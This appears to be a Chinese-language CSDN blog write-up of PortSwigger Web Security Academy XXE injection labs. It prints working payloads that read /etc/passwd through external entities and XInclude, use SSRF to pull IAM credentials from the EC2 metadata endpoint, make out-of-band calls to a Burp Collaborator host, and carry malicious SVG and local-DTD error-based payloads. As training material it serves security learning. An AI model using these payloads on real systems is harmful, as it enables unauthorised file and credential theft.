XML external entity (XXE) injection

最新推荐文章于 2024-09-15 13:15:46 发布
最新推荐文章于 2024-09-15 13:15:46 发布
阅读量829 收藏 15
点赞数 28
分类专栏： WEB安全基础 文章标签： xml
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52579508/article/details/140496712
版权

burpsuit 靶场的 xxe
image.png

APPRENTICE （学徒）

利用XXE 执行外部文件

Exploiting XXE using external entities to retrieve files

目标 ：
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

进入实验室
image.png

是一个卖东西的网站 抓包 看看数据
当我点击 Check stock 抓包

image.png
发现 post 数据里面存在xml 格式的数据
如果把数据改成我们想要的内容了 比如执行system 获取文件内容
使用 file协议直接读取到了 /etc/passwd 文件
image.png

payload


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&file;</productId><storeId>1</storeId></stockCheck>

利用 XXE 执行 SSRF 攻击

（Exploiting XXE to perform SSRF attacks）

目标 ：
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.

还是一样的检索数据的 功能
image.png

点击抓包
还是直接存在 xml 数据
image.png

根据burpsuit 靶场 要求我们获取的敏感数据
这里就是把file 换成了 http 进行探测获取铭感信息
image.png

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&ssrf;</productId><storeId>1</storeId></stockCheck>

PRACTITIONER （专业人员 ）

XXE盲打

SQL盲注类似，就是我们无法直接从响应中获取到想要的结果，但是我们可以通过如带外的方式将结果发送到接收端的方式实现。前面讲过可以利用XXE发动SSRF攻击请求URL，我们可以将结果附在URL后面，这样在接收端就能接收到结果了。我们还可以通过触发报错信息的方式获取敏感信息。

使用带外(OAST)技术探测XXE盲打

如利用XXE发动SSRF攻击，带外技术通过XXE与远端服务器进行交互，从而探测是否存在XXE盲打漏洞，例如
]>
有些情况下，目标服务器对常规XXE攻击进行了防护，不过我们可以尝试使用XML参数实体，例如
%xxe; ]>
通过定义参数实体同样可以用来探测XXE盲打。

Blind XXE with out-of-band interaction （带外交互deXXE）


还是一样的界面
image.png
但是这里使用原来的file 去读取文件 是不可行的了
image.png
那就使用XXE 盲打 外带
发到repeater，然后构造payload，将burp collaborator的地址插进去
image.png
由于我这个burp 的 Collaborator 有点问题 一直接收不了外带的数据
image.png
image.png
这里如果 外带 互联网的数据 还是不行 burp 官方只让带burp 的那个 这里
image.png

由于这里burp 的原因就展示不出外带的结果 当然这里外带的方法就是这样的

Blind XXE with out-of-band interaction via XML parameter entities (通过XML参数实体使用带外交互的XXE盲打)

因为常规外部实体被禁用了，所以可以尝试使用参数实体，构造payload
image.png

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY  % xxe SYSTEM "http://s4xi9f5ycn796biaz8qtrofzyq4gs5.burpcollaborator.net"> %xxe ]>

<stockCheck><productId>1</productId><storeId>2</storeId></stockCheck>

Exploiting blind XXE to exfiltrate data using a malicious external DTD （使用一个恶意外部DTD利用XXE盲打泄露数据）

先使用
image.png
Go to exploit server 构造 dtd 文件
image.png
然后在xxe漏洞利用点去加载 这个 dtd文件
image.png

我这里只做 步骤和发现 实现的话 由于这个靶场外带不了到其他平台 这边burp 又有问题

Exploiting blind XXE to retrieve data via error messages（通过报错信息利用XXE盲打泄露数据）

和上面的方法一样 先在服务器创建一个 dtd文件
image.png

然后抓包再修改有xxe 漏洞利用的地方
我们加载了一个不存在的文件以触发报错，然后我们在漏洞点加载这个恶意外部DTD
image.png
成功获取到了信息

Exploiting XInclude to retrieve files （利用Xinclude 检索文件）

By default, XInclude will try to parse the included document as XML. Since /etc/passwd isn’t valid XML, you will need to add an extra attribute to the XInclude directive to change this behavior.
默认情况下，XInclude将尝试将包含的文档解析为XML。由于/etc/passwd不是有效的XML，您需要向XInclude指令添加一个额外的属性来改变这种行为。

有些应用程序的服务端会将从客户端接收的内容嵌入到XML文档中然后解析，这就导致因为我们无法控制整个XML文档而无法发动常规的XXE攻击，但是我们可以通过XInclude在该XML文档中构建子XML文档，想要使用XInclude我们需要引入相应的命名空间，所以XInclude攻击的payload长这样

同样的界面 不同的数据
image.png

先发送一条带有xml 的数据
image.png
会发现报错
发送 Xincluide 攻击的 payload

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

image.png

Exploiting XXE via image file upload 通过文件上传的XXE攻击

既然是文件上传
先找上传点
image.png
再制作一个xml 的svg 图像

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

上传 .svg 文件之后 f12 查看图片
就会发现执行了命令
image.png

EXPERT

Exploiting XXE to retrieve data by repurposing a local DTD （通过复用本地DTD利用XXE盲打）

image.png
本地dtd复用 那就需要本地存在dtd文件
刚好靶场环境提示了 存在 dtd文件
Convex LAB没有解决这个实验室有一个“检查库存”特性，它可以解析XML输入，但不显示结果。要解决实验室问题，触发包含/etc/passwd文件内容的错误消息。您需要引用服务器上现有的DTD文件，并从中重新定义一个实体。提示使用GNOME桌面环境的系统通常有一个位于/usr/share/ yyelp / DTD /docbook .的DTD包含名为Isoamso的实体的dtd。进入实验室

抓包
image.png
使用 local_dtd 把本地文件给引用进来
内部DTD中有一个参数实体叫custom_entity，然后重写了这个参数实体，
在参数实体内部声明参数实体时关键字需要使用它的html编码格式，比如

& -> &
' -> '

其他的和前面利用报错信息的XXE盲打方式是一样
这种复用本地DTD的攻击方式重点在于我们能不能找到一个这样的本地DTD，现在很多应用程序都是开源的，所以我们可以下载源码包进行查找。
Payload

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

执行成功
image.png

小龙_(R0 Team)
关注
专栏目录
第五节 XXE漏洞利用 - 任意文件读取 无回显 -01
09-15
第五节 XXE漏洞利用 - 任意文件读取 无回显 -01
2024护网面试题精选(一)
qq_47493625的博客
03-06 2305
CC攻击是DDOS（分布式拒绝服务）的一种，相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到真实源IP，见不到特别大的异 常流量，但造成服务器无法进行正常连接。CC攻击的原理就 是攻击者控制某些主机不停地发 大量数据包给对方服务器造成服务器资源耗尽， 一直到宕机溃。
SSRF漏洞和XML
Hacker0830的博客
04-06 165
SSRF（Server-Side R equest Forgery）,即服务器请求伪造，是一种由攻击者构造形成由服务器发起请求的一个安全漏洞。XML指可扩展标记语言，被设计为传输和存储数据，xml文档包括xml声明、DTD文档类型定义、文档元素、其焦点是数据的内容，其把数据从HMTL分离，是独立于软件和硬件的信息传输工具。DTD全称Document Type Definition，它是文档类型定义，其中规定XML文档中的元素、属性、标记、文档中的实体及其相互关系。DTD为XML文档结构制定了一套规则。
（39.2）【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例
04-26 3706
【专题】XXE入门
XXE漏洞 你品，你细品
weixin_46137328的博客
02-10 686
0x00 基础知识铺垫要了解XXE漏洞，就必须先了解XXE、XML和DTD之间的关系。XXEXXE全称XML External Entity Injection(XML外部实体注入)，是...
XXE之利用本地DTD进行文件读取
蚁景网安学院
09-23 1441
0x00 前言现在题目出XXE一般都是考如何获取到XXE所包含文件的数据，即如何把数据泄露出来。常用的方法有：引入外部服务器或者外部dtd文件，来实现OOB带外信息传送，如果服务器和你的...
XXE（XML External Entity Injection）
四问四不知的博客
05-27 1409
参考链接：http://xz.aliyun.com/t/3357
[20][03][14] XML External Entity Injection(XXE)
安全新司机
05-19 453
文章目录1. 描述2. 场景3. 复现问题3.1 解析 XML 文件或 xml 字符串4. 如何解决 XXE4.1 升级第三方组件版本至安全版本4.2 主动防御外部实体 1. 描述 在对外部接口传入的 xml 类型的参数或 xml 文件,在代码中需要对这些未经合法性校验的参数进行 xml 解析时,执行里面隐藏的外部实体,从而引发安全问题 2. 场景 解析 xml 字符串 解析 xml 文件 3. 复现问题 3.1 解析 XML 文件或 xml 字符串 待解析 xml 文件,命名为 xxe.xml &
PortSwigger Academy | XML external entity (XXE) injection : XML外部实体注入
水榭山寺花烂漫，凤凰集外雁归来。敢与云峰争秀色，妙雨莲花九重开。
02-01 1453
文章目录什么是XML外部实体注入？XXE漏洞如何产生？XML实体什么是XML？什么是XML实体？什么是文件类型定义？什么是XML自定义实体？什么是XML外部实体？XXE攻击有哪些类型？ 在本节中，我们将解释什么是XML外部实体注入，描述一些常见的示例，解释如何发现和利用各种XXE注入，并总结如何防止XXE注入攻击。 什么是XML外部实体注入？ XML外部实体注入（也称为XXE）是一个网络安全漏洞，它使攻击者能够干扰应用程序对XML数据的处理。 它通常使攻击者可以查看应用程序服务器文件系统上的文件，并与应用程
XXE: XML eXternal Entity Injection vulnerabilities
weixin_30791095的博客
01-06 288
From:https://www.gracefulsecurity.com/xml-external-entity-injection-xxe-vulnerabilities/ Here’s a quick write-up on XXE, starting with how to detect the vulnerability and moving on to how to fix it...
XXE全称XML External Entity Injection漏洞.pdf
07-05
XXE全称XML External Entity Injection漏洞，是一种在应用程序解析XML输入时由于未能禁止外部实体加载而引发的安全漏洞。该漏洞可以被利用来执行文件读取、命令执行、内网端口扫描等多种攻击。 XML（eXtensible ...
Xxe外部实体注入（XML External Entity Injection）
xuyunpeng3189的博客
01-23 1120
无回显的xxe怎么利用 （1）使用dnslog平台进行数据外带 （2）构造远程dtd文件造成文件外泄 Xxe详细防御方法 禁用外部实体 这是防范最为严格的手段，从前面的学习我们已经知道XXE的全部利用手段基础都来源于外部实体的注入， 也就是如果禁用了外部实体，那么XXE的所有攻击手段都将失效，无法再正常利用。 代码层禁用 PHP： libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuil
Xxe外部实体注入（XML External Entity Injection）_externalmetadata
m0_61549674的博客
04-06 802
网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算**这是防范最为严格的手段，从前面的学习我们已经知道XXE的全部利用手段基础都来源于外部实体的注入， 也就是如果禁用了外部实体，那么XXE的所有攻击手段都将失效，无法再正常利用。探测内网信息、攻击内网网站、读取本地文件、读取远程文件、读取php源码。
通过JAXB看XML外部实体注入(XML External Entity)
aty
07-14 6675
JAXB的使用与XXE攻击的防御
XXE漏洞-XML 外部实体注入
zeroc009的博客
02-11 2763
XXE漏洞-XML 外部实体注入xxe介绍xml基础知识新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 xxe介绍 Xml外部实体注入漏洞（XML External Entity Injection）简称XXE，XXE漏洞
XML_Tomcat_HTTP
最新发布
readmancynn的博客
09-15 1445
1.创建SAXReader对象2. 解析XML获取Document对象: 需要传入要解析的XML文件的字节输入流3. 获取文档的根标签4. 获取标签的子标签//获取所有子标签//获取指定标签名的子标签List<Element> sonElementList = rootElement.elements("标签名");5. 获取标签体内的文本6. 获取标签的某个属性的值String value = element.attributeValue("属性名");
MyBatis 如何将 Mapper 接口与其 XML 映射文件关联：深入原理与实现
2301_79858914的博客
09-14 999
MyBatis 是一个简单、灵活的持久层框架，它通过 SQL 语句将 Java 对象与数据库进行映射。MyBatis 支持基于 XML 和注解的配置方式。在实际开发中，XML 映射文件与 Mapper 接口的关联是 MyBatis 的核心功能之一。通过这种关联，开发者可以在 Mapper 接口中定义方法，并在 XML 文件中编写 SQL 语句，从而实现数据操作。MyBatis 中 Mapper 接口与 XML 文件的关联过程，主要通过namespace和id来匹配。
Jacoco的XML报告详解
Criss@陈磊
09-11 488
使用jacococli完成jacoco测试报告生成后，会看到有一个.xml结尾的文件，这个就是xml格式的覆盖率报告。除了xml还有csv、html格式的报告，本文进介绍xml报告。
SpringMVC XML绑定POJO中的XXE漏洞解析
XXE，全称为XML External Entity Injection，是由于XML解析器允许引用外部实体，导致恶意攻击者可以通过构造恶意XML文档来获取服务器上的敏感信息或执行非法操作。 **0x00 背景** XML实体（Entity）是XML语言中的一...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值